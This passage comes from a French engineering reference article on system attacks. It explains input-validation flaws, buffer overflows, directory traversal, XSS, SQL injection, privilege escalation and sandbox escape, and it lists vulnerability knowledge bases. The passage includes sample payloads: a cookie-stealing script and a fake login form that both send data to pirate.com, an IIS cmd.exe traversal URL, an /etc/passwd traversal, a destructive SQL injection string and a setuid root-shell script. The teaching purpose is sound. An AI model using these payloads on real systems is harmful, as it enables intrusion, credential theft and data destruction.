champ d’action. Ainsi, certaines techniques ne s’appliquent pas à après l’exécution de cette commande, une commande echo est pla-
des services réseaux, mais demandent à ce que le pirate soit déjà cée afin qu’aucune erreur ne se produise. En effet, sans cette com-
présent sur le système attaqué (même avec un compte de simple mande, le système tenterait de lancer l’adresse de l’expéditeur
utilisateur) telles que l’escalade de privilèges (privilege escalation). (une_adresse_bidon) comme une commande, ce qui bien sûr
échouerait.
Les techniques présentées ici sont référencées par leur nom
anglais, car la traduction française de ce type d’attaque est rarement Nous avons ici l’exemple typique d’un manque de vérification des
usitée. L’abréviation, quand elle existe, est également indiquée. données en entrée, par ailleurs doublé d’une mauvaise méthode
pour effectuer le travail demandé, mais c’est un autre sujet. Il aurait
fallu que le programmeur du script de commande passe toutes les
1.4.1.1 Input checking données à travers un filtre qui aurait nettoyé (ou rejeté) tous les
Ce type de vulnérabilité, appelée en français « vérification des caractères à risque. Il s’agit en général des guillemets ("), du point-
données d’entrée », est dû au manque de vérification des données virgule (;), des barres obliques inversées (\), du symbole dollar ($) et
en entrée. On trouve généralement ce genre de faiblesse dans les bien d’autres encore.
formulaires de sites HTTP qui utilisent les données dans des pro-
grammes. Le meilleur moyen d’illustrer cette faiblesse est de 1.4.1.2 Buffer overflow ou débordement de tampon
s’appuyer sur un exemple que l’on rencontre malheureusement trop
souvent sur Internet car, encore plus que les administrateurs, les Cette attaque est très connue dans le monde Microsoft Windows
webmestres (webmasters) comme on les appelle, ont souvent car chaque semaine (ou presque) amène son lot de faiblesses et de
moins conscience des problèmes de sécurité. De plus, ce ne sont en mises à jour à appliquer sur Windows, quelle que soit sa version.
général pas des administrateurs et ils n’ont donc pas non plus Dans la plupart des cas, la raison est le débordement de tampon
l’expérience nécessaire pour appréhender le risque d’utiliser direc- (buffer overflow). On rencontre également le buffer overflow sous
tement une commande du système d’exploitation dans un script d’autres noms tels que stack overflow, stack overrun ou buffer
lancé au travers d’un site HTTP par exemple. overrun.

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 6 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

______________________________________________________________________________________________________________ ATTAQUES DES SYSTÈMES


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Cela signifie donc qu’un exploit (nom générique donné aux pro-
grammes exploitant une vulnérabilité) est associé à un processeur
Haut de la mémoire et un seul, et potentiellement à une seule version d’un système
Zone de pile (stack) d’exploitation particulier. Par conséquent, une vulnérabilité dans un
Se remplit du haut vers le bas programme fonctionnant sous Linux x86 version X ne fonctionne
pas nécessairement sur une version Y, et normalement jamais sur
Zone libre un Solaris Sparc.
■ Principe du débordement de tampon : lors de la conception d’un
Zone de tas (heap) Zone programme, il est nécessaire de s’appuyer sur des variables. Celles-
Se remplit du bas vers le haut de données ci stockent des états, mais aussi des informations comme les don-
Zone de stockage nées d’entrée qui sont nécessaires au programme. Ainsi, un serveur
des constantes FTP par exemple, a besoin de stocker le nom et le mot de passe
(libre) entrés par l’utilisateur pour s’authentifier.
Zone de stockage
des constantes Un programmeur, lorsqu’il doit allouer un espace mémoire pour
(utilisée) une variable, s’appuie sur la taille des données à stocker pour calcu-
ler la taille de cet espace. Cependant, certains moins expérimentés
Code du programme Zone de texte allouent statiquement l’espace en se basant par exemple sur la taille
maximale prévue pour un nom d’utilisateur. Hors, s’il n’y a pas
vérification des données en entrée (§ 1.4.1.1) avant son stockage
Figure 3 – Organisation de la mémoire d’un processus dans la variable, il peut y avoir un phénomène de débordement si
cette variable est sous-dimensionnée.
Nous avons donc vu que la pile va contenir une information très
Pour comprendre le danger que représente le débordement de précieuse : l’adresse de la prochaine instruction à exécuter. L’art du
tampon, il faut d’abord saisir comment est structuré l’espace débordement de tampon (buffer overflow) consiste donc à remplir
mémoire d’un processus (programme lorsqu’il est en fonction dans le tampon afin que soit le programme vulnérable lance un code pro-
la mémoire de l’ordinateur). gramme injecté par l’intrus en lieu et place du code original, soit
l’adresse de la prochaine exécution soit modifiée pour lancer direc-
■ Organisation de la mémoire d’un processus : un processus a en tement une fonction qui soit utile à l’intrus (comme lancer un inter-
effet besoin de mémoire pour s’exécuter. Il lui faut de la place pour prète de commandes par exemple). Pour cela, le programme
stocker ses variables statiques et dynamiques, mais aussi son code exploitant la vulnérabilité s’appuie donc sur la saisie d’une donnée
machine. Dans un système d’exploitation, cette mémoire est tou- d’entrée qui aurait été mal dimensionnée.
jours organisée d’une certaine manière.
Sur la figure 4, nous voyons un exemple sous la forme des don-
Nous voyons sur la figure 3 (simplifiée) que la mémoire est très nées d’entrée d’un serveur FTP. Le nom de l’utilisateur et le mot de
structurée. Cette structure est ainsi faite à cause de la manière dont passe ont été dimensionnés statiquement sur 16 caractères (plus le
se charge le programme en mémoire (pour un processeur Intel x86). caractère 0 pour la terminaison de la chaîne de caractères). L’intrus
Lorsqu’un utilisateur lance une commande dans le système injecte donc du code programme à partir du 18e octet du mot de
d’exploitation, une série d’actions s’effectue de la façon suivante. passe puis modifie la valeur du pointeur afin que la prochaine ins-
En premier lieu, la partie « texte » du programme est chargée. Il truction soit le début de ce code pirate (shellcode) qui est ainsi exé-
s’agit du code programme en langage machine. Cette partie est cuté. Bien sûr, il faut parvenir à l’un de ces deux états sans
stockée dans le bas de l’espace mémoire alloué au processus. Cette provoquer d’erreur d’exécution du programme vulnérable, sans
zone peut être partagée par plusieurs instances du même pro- quoi le meilleur résultat ne serait qu’un déni de service.
gramme. Puis la partie « données » du programme est chargée. Il Il est important de noter que le débordement de tampon s’appli-
s’agit d’une zone qu’utilise le programme pour fonctionner. Elle fait que aux données en entrée, et donc nécessairement à des données
partie du programme lui-même tel qu’il est stocké sur le disque dur. entrées dans un service réseau comme dans cet exemple. Ainsi, le
Cette zone de données est divisée en trois parties : la zone statique, programme de messagerie de Microsoft, Outlook Express, a-t-il été
le tas et la pile. victime d’une telle attaque en 2000, avec pour vecteur un simple
La zone statique correspond aux données constantes, variables courriel. Celui-ci contenait le code malicieux qui permettait à l’intrus
globales et statiques dont le programme a besoin (par exemple en de déposer un cheval de Troie et d’envoyer un courrier fournissant
langage C les définitions dans les fichiers include) et qui font partie l’adresse IP de la machine ainsi compromise.
des données chargées lors du lancement de la commande. Puis Le débordement de tampon est une technique qui s’applique
vient le tas utilisé lors de l’allocation de variables dynamiques. aussi bien à la pile (stack overflow) qu’au tas (heap overflow ou
Enfin, la zone de pile, adressée en LIFO (last in first out), où seront heap buffer overflow).
stockés les paramètres des fonctions, variables locales, et surtout
l’adresse mémoire de la prochaine instruction à exécuter. Dans cette
zone de pile, la mémoire est utilisée de haut en bas afin que le tas et
la pile convergent.
■ Shellcode : dans un programme qui s’appuie sur un déborde-
ment de pile, on entend souvent parler de shellcode. Il s’agit en fait
du programme en langage machine qui est exécuté en lieu et place N o m U t i l i s a t e u r \0 \0 \0 M o t D e P a s
du programme qui doit être normalement exécuté. s e \0 \0 \0 \0 \0 \0 \0 C o d e P i r a t e x x x x

Il est très important de noter que le shellcode est écrit en Code programme injecté Pointeur
langage machine du processeur sur lequel s’exécute le processus par l'intrus vers la
qui va subir l’attaque de débordement de pile. De plus, ce shell- prochaine
code peut aussi être dépendant de la version et du modèle du instruction
système d’exploitation visé car entre versions et modèles diffé-
rents, la taille allouée par défaut et le comportement du processus
peuvent varier. Figure 4 – Exemple de débordement de pile

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 7

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

1.4.1.3 Race condition 1.4.2.3 Directory traversal

Cette technique, appelée également race hazard et en français La traversée de répertoire (directory traversal) est une situation où
« situation de compétition », existe sous plusieurs formes. Elle peut l’intrus peut atteindre des répertoires et informations auxquels il ne
être basée sur un manque de protection des données d’une applica- devrait normalement pas accéder. Dans certains cas, la traversée de
tion, permettant ainsi à une autre de pouvoir accéder à l’information répertoire peut se trouver conjuguée à une exécution de code mali-
dans certaines conditions de temps. Ce type de situation apparaît cieux à distance.
particulièrement dans des programmes complexes qui fonctionnent Un exemple caractéristique de ce type de résultat se rencontre
sur des processus séparés ou s’appuient sur des clients légers avec les scripts CGI (Common Gateway Interface) construit par des
(threads). webmasters qui ne sont pas familiers avec la notion de sécurité.
Ainsi, un programme dont la fonction serait par exemple d’afficher
Par exemple, un programme peut écrire dans un fichier pendant le contenu d’un fichier présent sur le disque, pourrait afficher
qu’un autre programme est en train de lire ce même fichier dans la n’importe quel fichier si aucun contrôle approprié des données en
même zone. L’autre programme peut donc lire des données obsolè- entrée n’est fait.
tes (ou le mélange des anciennes et nouvelles données) car la zone
où il lit n’est pas encore mise à jour. Cette situation se rencontre plus Prenons par exemple un programme de ce type dont la version en
souvent dans les applications qui doivent manipuler d’énormes interprète de commandes Unix serait tout simplement :
quantités de données, engendrant des temps de latence importants.
Dans ce cas d’école, l’utilisation des verrous de fichiers permet
d’échapper à ce risque. # !/bin/sh
cat /home/serveur_www/http/$nom_fichier
Au niveau réseau, ce type de situation peut également se produire
dans des architectures distribuées. Ainsi, imaginons une application
Bien sûr, on suppose que la variable nom_fichier a été traitée
partageant le même fichier sur deux serveurs différents. Il pourrait
convenablement pour être passée au script et que les en-têtes HTML
se produire le cas où deux utilisateurs distincts (un par serveur dif-
nécessaires ont été envoyés au navigateur. Imaginons maintenant
férent) obtiennent le droit d’écriture dans le même fichier, provo-
un intrus qui détecte la manière dont est envoyé le nom de fichier au
quant ainsi deux instances de ce même fichier qui est censé être
serveur et change l’URL (Uniform Ressource Locator) pour
strictement identique sur les deux serveurs.
demander l’affichage du fichier ../../../etc/passwd. Par ce simple chan-
Ce type de situation a souvent pour origine une faiblesse de pro- gement d’URL, le script, qui lui n’a pas été modifié, affiche alors le
grammation, mais aussi une lenteur particulière du réseau qui fichier des utilisateurs et mots de passe du système ainsi attaqué.
empêche les serveurs de rester synchronisés. Bien sûr, il ne s’agit pas ici du risque d’exécution d’une commande
non autorisée, si le nom du fichier s’était trouvé finissant par
Une telle situation de compétition peut également se rencontrer ;nom_de_la_commande. En effet, il aurait suffit d’analyser les don-
lorsqu’un périphérique ou une application tente de faire au même nées d’entrée pour refuser ou éliminer les caractères slash (/) ou
moment deux actions qui devraient être exécutées séquentielle- deux points qui se suivent (..) pour ne plus être vulnérable à cette
ment dans un certain ordre. Dans ce cas, cela pourra engendrer une attaque particulière.
situation de blocage ou une panique du système.
De plus, ce type d’attaque se pratiquant entre autres sur des
serveurs HTTP, il est important de rappeler ici que tous les carac-
tères peuvent être envoyés vers ces serveurs sous deux formes : la
1.4.2 Conséquences de l’exploitation version littérale (%, !, ?, ..) ou par leur valeur ASCII encodée en hexa-
d’une vulnérabilité décimal (0x2E...). Il convient donc de vérifier les données d’entrée
de ces deux formes, ou après leur transposition sous forme de
caractères.
L’exploitation des techniques présentées dans le paragraphe 1.4.1
permet d’obtenir un certain nombre d’avantages sur la machine vic- Malheureusement, ce type de résultat n’est pas seulement impu-
time de ces attaques. Ces avantages peuvent aller de la visibilité sur table à un programmeur maladroit. Un serveur HTTP lui-même peut
des informations qui ne sont pas censées être accessibles à l’intrus, être à l’origine du risque. Ainsi, le serveur peut offrir des scripts
jusqu’à la possibilité de se retrouver en position d’administrateur d’exemple, ou comme le serveur Microsoft IIS qui présente trop fré-
avec tous les privilèges associés, en passant par l’exécution de pro- quemment des problèmes de sécurité, offrir la possibilité d’exécuter
grammes non autorisés. à distance une commande par le biais d’une faiblesse de traversée
de répertoire au sein même du serveur HTTP.

1.4.2.1 Denial of service Dans cet exemple précis, il suffit de demander l’URL http://
www.victime.com/scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\
Le résultat le plus connu des attaques de pirates sur Internet est le pour provoquer l’exécution de la commande cmd.exe (l’interprète
déni de service (DoS : denial of service). Il n’y a pas grand-chose à de commandes MS-DOS) qui elle-même lance la commande dir c:\
en dire ici, car le déni de service consiste à placer la machine dans fournie en argument. Malheureusement pour ceux qui utilisent IIS,
un état qui ne lui permette pas d’assurer sa mission, quelle qu’elle des personnes malveillantes ont eu l’idée d’utiliser cette faiblesse et
soit. Ainsi, un serveur HTTP ne fonctionnerait plus, un routeur ne ses variantes au sein de vers dont l’un d’eux s’appelle Nimda.
routerait plus ou un commutateur n’assurerait plus le transit des
paquets entre les ports. 1.4.2.4 Injection de script
L’injection de script est la technique présentée en exemple au
1.4.2.2 Information leakage paragraphe 1.4.1.1 où le sujet du message est en fait un script.

La fuite d’informations (information leakage) signifie simplement 1.4.2.5 Cross site scripting
que des informations sont accessibles à des personnes non autori-
sées. Dans ce cas, le risque peut être insignifiant (l’intrus aurait la Contrairement aux conséquences que nous avons vues précé-
visibilité sur des informations sans importance), tout comme elle demment, l’injection de script nuit à l’utilisateur plutôt qu’au ser-
peut engendrer un risque majeur, si les informations visibles se veur. Ici, le serveur est en effet utilisé comme vecteur pour atteindre
trouvent être par exemple des données d’authentification, des infor- l’internaute. L’injection de script (XSS ou CSS : Cross Site Scripting)
mations sur des clients ou confidentielles. consiste à injecter un script (Javascript, VBscript, PHP...) dans un ser-

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 8 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

______________________________________________________________________________________________________________ ATTAQUES DES SYSTÈMES


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

<FORM ACTION= "HTTP://www.pirate.com/victimes.html">


<DL><DT><B CLASS="H1">Quelle est votre adresse e-
mail ?</B><BR><DD><BR>
<SPAN CLASS="SMALL"><B>Votre adresse email est</B></
SPAN>
<INPUT NAME=COURRIEL TYPE=TEXT SIZE=30
Figure 5 – Affichage de l’URL normale pour le serveur MAXLENGTH=64><BR>
<FONT SIZE=–1>Cette information est indispensable pour
accéder à nos services.</FONT><BR><BR>
<DT><B CLASS="H1">Avez-vous un mot de passe ?</B><BR>
<DD><BR>
<INPUT TYPE=RADIO NAME=ACTION VALUE=CONT>
<SPAN CLASS="SMALL"><B>NON, vous êtes un nouveau
client.</B></SPAN><BR><BR>
<INPUT TYPE=RADIO NAME=ACTION VALUE=CLIENT>
<SPAN CLASS="SMALL"><B>OUI. Votre mot de passe est :</
Figure 6 – Affichage de l’URL modifiée par le pirate B></SPAN>
<INPUT NAME=PASSE TYPE=PASSWORD SIZE=10
MAXLENGTH=20><BR>
veur disposant d’une faiblesse de vérification des données en <INPUT TYPE="SUBMIT" VALUE="ENVOYER">
entrée. Pour envoyer des valeurs à un serveur HTTP, on utilise deux </FORM>
méthodes : le get (où les valeurs font partie de l’URL) ou le post (où
les valeurs sont envoyées d’une manière différente non visible sur Ce formulaire ayant été injecté au sein même de la page du site, il
l’URL). Quelle que soit la méthode d’envoi des données, ce type fait donc partie de l’affichage (et donc du design) même du site.
d’attaque se réalise avec simplicité. Cependant, si la méthode post Comment l’internaute pourrait-il savoir que cette demande n’est pas
est utilisée, il sera bien plus difficile de trouver d’où vient l’attaque légitime et provient en fait d’une manipulation malveillante ? Dans
dans la mesure où le serveur HTTP ne trace (log) en général pas cet exemple, le pirate récupère le nom de l’utilisateur et le mot de
cette forme d’envoi de données. passe de l’internaute, pouvant ainsi acheter sans bourse délier.
Nota : le lecteur désireux de savoir comment les données sont envoyées au cours d’un Une autre méthode un peu plus complexe peut occasionner un
post pourra se référer au RFC 2616 définissant le protocole HTTP v1.1.
risque bien plus élevé. Le pirate peut en effet injecter un petit pro-
Il est important de noter que le fait d’être en HTTPS (flux HTTP gramme Javascript tel que :
chiffré) n’empêche pas ce type d’attaque.
document.location.replace
■ Cibles vulnérables : pour mener à bien cette attaque, la méthode
('http://pirate.com/attaquecss?c='+document.cookie);
la plus usitée consiste à envoyer au serveur HTTP vulnérable une
URL modifiée par le pirate. Pour pouvoir détecter si un serveur est
vulnérable à cette méthode basique, il suffit de trouver une URL qui Il est alors à même de récupérer le cookie (la variable docu-
affiche, par exemple, une valeur passée dans l’URL. ment.cookie dans les données injectées) de l’internaute et qui con-
tient des informations d’authentification de l’internaute. Il peut donc
Ainsi, imaginons une URL http://www.victime.com/fiche_client? au même moment, grâce à ces informations, lancer une session
nom=georges. La page résultant de cette URL donne par exemple la vers le même site que celui de l’internaute et en utilisant ce cookie,
figure 5. accéder à des informations confidentielles telles que des informa-
Si aucune vérification des caractères envoyés par l’URL n’est tions bancaires.. Cela peut permettre par exemple au pirate de lan-
effectuée, alors le pirate peut envoyer l’URL suivante au serveur : cer des ordres sur le site bancaire, puisqu’il est alors considéré par
http://www.victime.com/fiche_client?nom=<H1>Je suis un méchant la banque comme le client légitime propriétaire du compte.
Pirate!!! </H1>, transformant ainsi l’affichage en celui de la figure 6.
1.4.2.6 Variante de l’injection de script : injection SQL
Comme on peut le constater, le serveur a affiché la page HTML en
la fusionnant avec les données envoyées par le pirate. Cela signifie Une variante de cette technique d’injection est utilisée pour une
donc que le pirate peut envoyer n’importe quelles données (et par attaque appelée l’injection SQL (SQL injection). Le principe est iden-
conséquent cela inclut des programmes Javascript, VBscript, Acti- tique à celui de l’injection de script, à l’exception que les conséquen-
veX...) et provoquer leur exécution. ces se feront sentir au niveau du serveur (et non pas du navigateur
de l’internaute), sous la forme d’une requête SQL non autorisée
Il faut donc trouver pour mener à bien cette attaque :
avec les privilèges du serveur.
— une URL qui va engendrer une page dynamique qui ne vérifie
Typiquement, il est possible d’exploiter la requête SQL qui vise à
pas les données d’entrée ;
s’assurer de l’authenticité d’un utilisateur au sein d’une base de
— la méthode utilisée pour cette URL pour envoyer ses données données et qui se présente alors sous la forme suivante :
(get ou post) afin de s’appuyer de préférence sur post qui est rare-
ment tracé par les serveurs HTTP.
SQLQuery = "SELECT nom_utilisateur FROM table_utilisateurs
■ Technique : une fois qu’il a trouvé une URL, de préférence sur un WHERE nom_utilisateur = 'Nom_HTTP' AND MotDePasse =
site bancaire ou de commerce en ligne, le pirate s’appuie sur un lan- 'Passe_HTTP' " ;
gage fonctionnant sur le navigateur de l’internaute, comme Javas- strRC = GetQueryResult (SQLQuery) ;
cript par exemple, dans le but de pouvoir récupérer des if (strRC = " ")
informations associées à la session dudit internaute. then Auth = False
Imaginons donc un internaute en session sur un site de vente en else Auth = True
ligne qui demande les références bancaires de l’internaute lors de
l’achat. Dans la mesure où ledit site serait vulnérable, le pirate pour- Si aucune vérification appropriée n’est faite des données en entrée,
rait alors envisager d’injecter le code suivant au sein même de la il devient possible pour un pirate d’envoyer un nom d’utilisateur
page HTML du site du commerçant : modifié de telle façon que la requête SQL soit transformée en autre

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 9

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

chose qui, par exemple, provoque l’affichage de la liste de bases de La fonction d’un programme d’impression sous Unix est de rece-
données dans le SGBDR (système de gestion de base de données voir les demandes d’impression et de les ranger dans une file
relationnelles) ou permette d’accéder ou de manipuler ces informa- d’attente jusqu’à ce que ce soit le tour du fichier d’être imprimé. De
tions. Bien sûr, cela demande une compétence en langage SQL, mais plus, le programme offre des options supplémentaires comme la
le pirate ne manque jamais de ressources pour atteindre son but. possibilité de définir des masques qui seront imprimés en début ou
Ainsi, un mot de passe qui deviendrait ' ;DELETE FROM fin d’impression, l’envoi d’un courriel une fois l’impression faite, etc.
table_utilisateurs WHERE nom_utilisateur='*' pourrait engendrer une Suite à une faiblesse de programmation présente dans les pro-
destruction de la table des utilisateurs. grammes de gestion des fonctions d’impression, et ce dans plu-
sieurs systèmes Unix (à ce jour corrigés par des patches ou des
1.4.2.7 Exécution de code malicieux à distance versions plus récentes), il est possible de lancer une commande en
tant qu’administrateur du système. Parmi les options disponibles à
Ce résultat, rencontré plus fréquemment sous son nom anglais l’utilisateur, l’une d’elles permet de définir un masque construit à
remote code execution, consiste en l’exécution d’un programme sur partir de l’exécution d’un programme. En usant adroitement des
le serveur attaqué. Nous en avons vu plusieurs exemples (§ 1.4.1.1, arguments régissant cette option, il est possible d’exécuter
§ 1.4.1.2, § 1.4.2.4, § 1.4.2.7 et § 1.4.2.10), en particulier le ver Nimda n’importe quel programme en tant qu’administrateur (root), y com-
qui s’était appuyé sur une faiblesse de programmation du serveur pris un programme créé par un utilisateur. Par conséquent, il est
Microsoft IIS pour se propager. Nous proposons ici de récapituler possible de construire le script ci-après et de le faire exécuter :
les deux principales variantes de ce type d’attaque :
— l’exécution non autorisée d’une commande du système attaqué ; # !/bin/sh
— l’exécution d’un code programme injecté (par un débordement cp /bin/sh /tmp
de tampon par exemple). chown root:root /tmp/sh
Dans le premier cas, le problème provient vraisemblablement chmod u+s /tmp/sh
d’une application mal conçue (un script HTTP trop confiant par
exemple) ou une page par défaut qui serait activée (telle que celles Une fois ce script exécuté, l’utilisateur trouve dans le répertoire /tmp
fournies au sein d’extensions de fonctions des serveurs HTTP une copie de l’interprète de commande avec les privilèges de l’utilisa-
comme ASP, PHP...). teur root, grâce à la présence du setuid (la commande chmod u+s). Il
Dans le second cas, il s’agit de l’exploitation d’une faiblesse de lui suffit de lancer cet interprète pour pouvoir exécuter n’importe
programmation, le débordement de pile, qui permet à un intrus quelle commande en tant qu’administrateur.
d’injecter dans la mémoire du serveur le code malicieux qu’il peut
ensuite exécuter avec les privilèges du programme attaqué. 1.4.2.10 Root compromise
Bien sûr, l’idéal pour le pirate reste tout de même de se trouver direc-
1.4.2.8 Outrepasser l’authentification tement en session sur le système attaqué en tant qu’administrateur,
c’est le résultat du root compromise. Même si ce nom a clairement une
Certaines vulnérabilités, telles que le débordement de tampon, consonance liée aux systèmes Unix, cette démarche est applicable à
peuvent engendrer la capacité de passer outre les mécanismes d’autres systèmes d’exploitation tels que Windows de Microsoft.
d’authentification sans qu’il soit nécessaire d’injecter un code mali-
cieux. Le meilleur exemple de cette situation est un vieux déborde- Ce type de résultat s’obtient en général par l’exploitation d’une
ment de pile sur le service réseau telnetd de Solaris. faiblesse de programmation (le débordement de pile) sur un proces-
sus qui écoute le réseau et qui fonctionne avec les privilèges de
Il suffit en effet de se connecter sur le service réseau et de taper l’administrateur système.
comme nom d’utilisateur bin\c\c\c\c... (\c étant saisi un grand nom-
bre de fois, mais n’excédant pas au total 240 caractères) pour se L’intrus qui réussit son attaque se retrouve alors directement en
trouver avec un interprète de commande de l’utilisateur bin. Qui session sur le système attaqué en tant qu’administrateur, et peut
plus est, cette vulnérabilité fonctionne également avec l’utilisateur donc exécuter n’importe quelle commande, créer des comptes d’uti-
root (l’administrateur sous Unix) si par malheur l’administrateur de lisateurs, etc.
la machine autorise celui-ci à faire directement une session telnet
dans le fichier /etc/default/login. 1.4.2.11 Sandbox escape
Le modèle de sécurité s’appuyant sur le concept de sandbox est
1.4.2.9 Escalade de privilèges assez simple. Il consiste à cadrer strictement l’exécution du pro-
gramme afin qu’il ne puisse pas effectuer d’opérations pouvant
Dans le paragraphe précédent (§ 1.4.2.8), nous avions un intrus nuire à l’utilisateur hébergeant le programme. Ainsi, les accès au
qui avait réussi à établir une session telnet en tant qu’utilisateur bin. système de fichiers, au réseau, etc., peuvent être limités ou tout sim-
Cet utilisateur n’a pas de privilèges suffisants et ne dispose donc pas plement interdits.
du pouvoir d’exécuter des ordres qui permettent d’altérer la confi-
guration du système, comme peut le faire l’administrateur. Il lui faut Le langage Java permet de créer des programmes qui s’exécutent
encore réussir à devenir administrateur pour véritablement prendre sur le navigateur de l’internaute après avoir été téléchargés. Ces
le contrôle du système. Grâce à des techniques d’escalade de privi- programmes portent le nom d’applets. Afin de limiter au maximum
lèges, il peut gagner des droits jusqu’à atteindre le but ultime du le risque de piratage évident dans une telle architecture, le modèle
pirate : être administrateur du système attaqué. Parmi ces droits de la sandbox a été utilisé. Ainsi, la sandbox Java doit protéger un
qu’il va essayer de gagner, on trouve la possibilité d’accéder à certain nombre de ressources en fonction de différents niveaux de
d’autres comptes utilisateurs, d’obtenir des droits particuliers sécurité. Par exemple, une applet téléchargée depuis le site X ne
comme celui de pouvoir lire n’importe quel fichier inhérent à l’opé- pourra effectuer de connexion réseau qu’avec ce site X et ne pourra
rateur en charge des sauvegardes, celui de voir tous les fichiers en pas accéder aux disques de l’ordinateur qui hébergent l’applet.
cours d’impression, ce qui est normalement réservé à l’administra- Lorsqu’une attaque débouche sur un échappement de la sandbox,
teur des imprimantes, etc. sandbox escape, cela signifie que le programme peut effectuer des
Pour atteindre ces nouveaux privilèges, l’intrus va disposer de la opérations qui devraient normalement lui être inaccessibles. Ainsi,
panoplie des faiblesses qui nous sont maintenant familières, mais dans le cadre d’une applet Java, cela peut conduire à l’accès aux
depuis l’intérieur du système auquel il a réussi à accéder. Afin données du disque, à la connexion sur un autre programme, etc.
d’illustrer ce propos, je prendrai une faiblesse de programmation du Il faut cependant noter qu’à ce jour, aucune vulnérabilité n’a per-
programme en charge des impressions. mis de s’échapper de la sandbox au point d’avoir le droit de faire

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 10 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

______________________________________________________________________________________________________________ ATTAQUES DES SYSTÈMES


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

n’importe quoi. Dans le meilleur des cas, seuls une fonction ou un


domaine sont accessibles, ce qui peut déjà présenter un risque
majeur s’il s’agit du système de fichiers par exemple.

2. Caisse à outils
Nous connaissons maintenant la théorie des techniques d’attaque
qui sauront s’appuyer sur des faiblesses, quelles qu’elles soient. Mais
concrètement, comment procède une personne malveillante pour réa-
liser son ouvrage ? Cela pourrait s’avérer complexe au premier abord,
mais en réalité, la vulgarisation des outils et également leur organisa-
tion dans des packages, a permis une plus grande facilité de mise en
œuvre. Cela a provoqué l’apparition d’une nouvelle sorte de pirates
totalement inexpérimentés, les scripts kiddies, qui voient là l’occasion
d’enfreindre la loi sans risque (croient-ils) en allant attaquer des
machines sur Internet depuis leur accès xDSL ou modem.
À titre d’exemple, nous donnons ici la liste de quelques outils, dont Figure 7 – Interface de recherche de vulnérabilités de SecurityFocus
certains ont été utilisés dans les dossiers traitant des attaques
[H 5 830] [H 5 832] [H 5 833], mais également de bases de connaissan- ■ Vuln Dev : une autre liste existe chez SecurityFocus. Celle-ci traite
ces qui permettent de trouver rapidement quelles sont les vulnérabili- uniquement du développement d’exploits, donc de programmes qui
tés sur tel ou tel produit, service réseau ou système d’exploitation. permettent de démontrer la vulnérabilité.

2.1.2 Sites Web spécialisés en vulnérabilités


2.1 Bases de connaissances
Bien sûr, il n’est pas obligatoire (fort heureusement) d’être
abonné à une liste pour disposer d’une base de données de vulnéra-
Nous parlons ici de source d’informations où sont concentrés
bilités existantes.
tous les détails à connaître sur un sujet particulier.
Ainsi, un des effets de bord du transfert de Bugtraq sous la hou-
Les bases de connaissances se divisent principalement en trois lette de SecurityFocus a été la mise en place d’une base de données
catégories : permettant à tout un chacun de trouver facilement les vulnérabilités
— les listes de courriers (mailing lists) et groupes de nouvelles de telle ou telle application, par une interface simple et rapide,
(newsgroups) ; comme le montre la figure 7.
— les sites Web traitant de vulnérabilités ; Le site de la société Secunia (qui est l’hébergeur de la liste Full-
— les sites Web traitant un peu de tout, ce qui inclut des bases de disclosure) est également très bien fourni. Il n’offre pas de base de
données d’outils et de vulnérabilités. données de vulnérabilités, mais uniquement d’advisories. La diffé-
rence réside essentiellement dans la présence d’exploit associé. Un
advisory ne contient en général pas de programme permettant de
2.1.1 Mailing lists et newsgroups tester la vulnérabilité. Dans le jargon, un advisory est une annonce
présentant une vulnérabilité et la théorie associée.
Il existe pléthore de mailing lists qui parlent de la sécurité ou des
L’avantage du site Secunia est qu’il offre une présentation desti-
